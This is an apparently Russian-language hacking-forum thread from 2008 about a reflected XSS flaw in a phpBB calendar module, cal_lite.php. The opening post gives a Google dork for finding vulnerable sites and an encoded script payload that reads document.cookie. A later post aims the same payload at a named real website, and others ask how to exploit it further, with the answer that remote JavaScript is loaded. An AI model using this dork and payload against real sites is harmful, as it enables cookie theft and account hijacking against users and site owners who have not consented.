Форумы xss в модуле cal_lite.php \PhpBB\

Discussion in 'Уязвимости CMS/форумов' started by ReVOLVeR, 15 Mar 2008.

  1. ReVOLVeR

    ReVOLVeR Banned

    Joined:
    2 Sep 2006
    Messages:
    170
    Likes Received:
    100
    Reputations:
    32
    inurl:cal_lite.php

    cal_lite.php?id=12&mode=display&cl_d=%3Cscript%3Ealert(document.cookie)%3C/script%3E&cl_m=11&cl_y=2007
     
    #1 ReVOLVeR, 15 Mar 2008
    Last edited: 15 Mar 2008
    1 person likes this.
  2. a1ex

    a1ex Banned

    Joined:
    11 Oct 2006
    Messages:
    517
    Likes Received:
    130
    Reputations:
    -13
    Сейчас потестим....
     
    #2 a1ex, 15 Mar 2008
    1 person likes this.
  3. ReVOLVeR

    ReVOLVeR Banned

    Joined:
    2 Sep 2006
    Messages:
    170
    Likes Received:
    100
    Reputations:
    32
    к примеру
    _http://www.airsoftgun.ru/phpBB/cal_lite.php??id=12&mode=display&cl_d=%3Cscript%3Ealert(document.cookie)%3C/script%3E&cl_m=11&cl_y=2007
     
    #3 ReVOLVeR, 15 Mar 2008
  4. a1ex

    a1ex Banned

    Joined:
    11 Oct 2006
    Messages:
    517
    Likes Received:
    130
    Reputations:
    -13
    Не на всех работает.
     
    #4 a1ex, 15 Mar 2008
    1 person likes this.
  5. Zedobat

    Zedobat Elder - Старейшина

    Joined:
    24 Jul 2007
    Messages:
    145
    Likes Received:
    34
    Reputations:
    10
    Название темы не отвечает содержимому.

    XSS не в phpbb а в модуле который использует этот cal_lite.php, тк на большинстве форумах его нету.
     
    #5 Zedobat, 15 Mar 2008
  6. ReVOLVeR

    ReVOLVeR Banned

    Joined:
    2 Sep 2006
    Messages:
    170
    Likes Received:
    100
    Reputations:
    32
    Zedobat модуль чего модуль форума phpbb + разводиш флэйм в теме на это есть болталка..
     
    #6 ReVOLVeR, 15 Mar 2008
  7. a1ex

    a1ex Banned

    Joined:
    11 Oct 2006
    Messages:
    517
    Likes Received:
    130
    Reputations:
    -13
    ТС каким образом можно дальше юзать xss.
    Распиши пожалуйста.Обьясни.
     
    #7 a1ex, 15 Mar 2008
  8. fucker"ok

    fucker"ok Elder - Старейшина

    Joined:
    21 Nov 2004
    Messages:
    580
    Likes Received:
    279
    Reputations:
    91
    Такого файла нет ни в phpbb 2.x ни в 3.x.
     
    #8 fucker"ok, 15 Mar 2008
  9. ReVOLVeR

    ReVOLVeR Banned

    Joined:
    2 Sep 2006
    Messages:
    170
    Likes Received:
    100
    Reputations:
    32
    fucker"ok это модуль...
     
    #9 ReVOLVeR, 15 Mar 2008
  10. Zedobat

    Zedobat Elder - Старейшина

    Joined:
    24 Jul 2007
    Messages:
    145
    Likes Received:
    34
    Reputations:
    10
    inurl:cal_lite.php - Результаты 1 - 10 из примерно 9 580
    powered by phpbb - Результаты 1 - 10 из примерно 9 890 000

    И где же "in phpBB all version" ?
     
    #10 Zedobat, 15 Mar 2008
  11. ReVOLVeR

    ReVOLVeR Banned

    Joined:
    2 Sep 2006
    Messages:
    170
    Likes Received:
    100
    Reputations:
    32
    Zedobat хочь название поменяю???
    будет легче???
     
    #11 ReVOLVeR, 15 Mar 2008
  12. rasl

    rasl New Member

    Joined:
    29 Feb 2008
    Messages:
    14
    Likes Received:
    2
    Reputations:
    0
    выходит сообщение с путем в адресной строке и сообщение на форуме "На текущую дату Событий нет" ! что это означает ? что дальше делать ?
     
    #12 rasl, 15 Mar 2008
  13. ReVOLVeR

    ReVOLVeR Banned

    Joined:
    2 Sep 2006
    Messages:
    170
    Likes Received:
    100
    Reputations:
    32
    a1ex Подгружается удалённый JS
     
    #13 ReVOLVeR, 15 Mar 2008
(You must log in or sign up to post here.)
Language
English (US)
    ANTICHAT ™ © 2001-2027 Antichat Kft.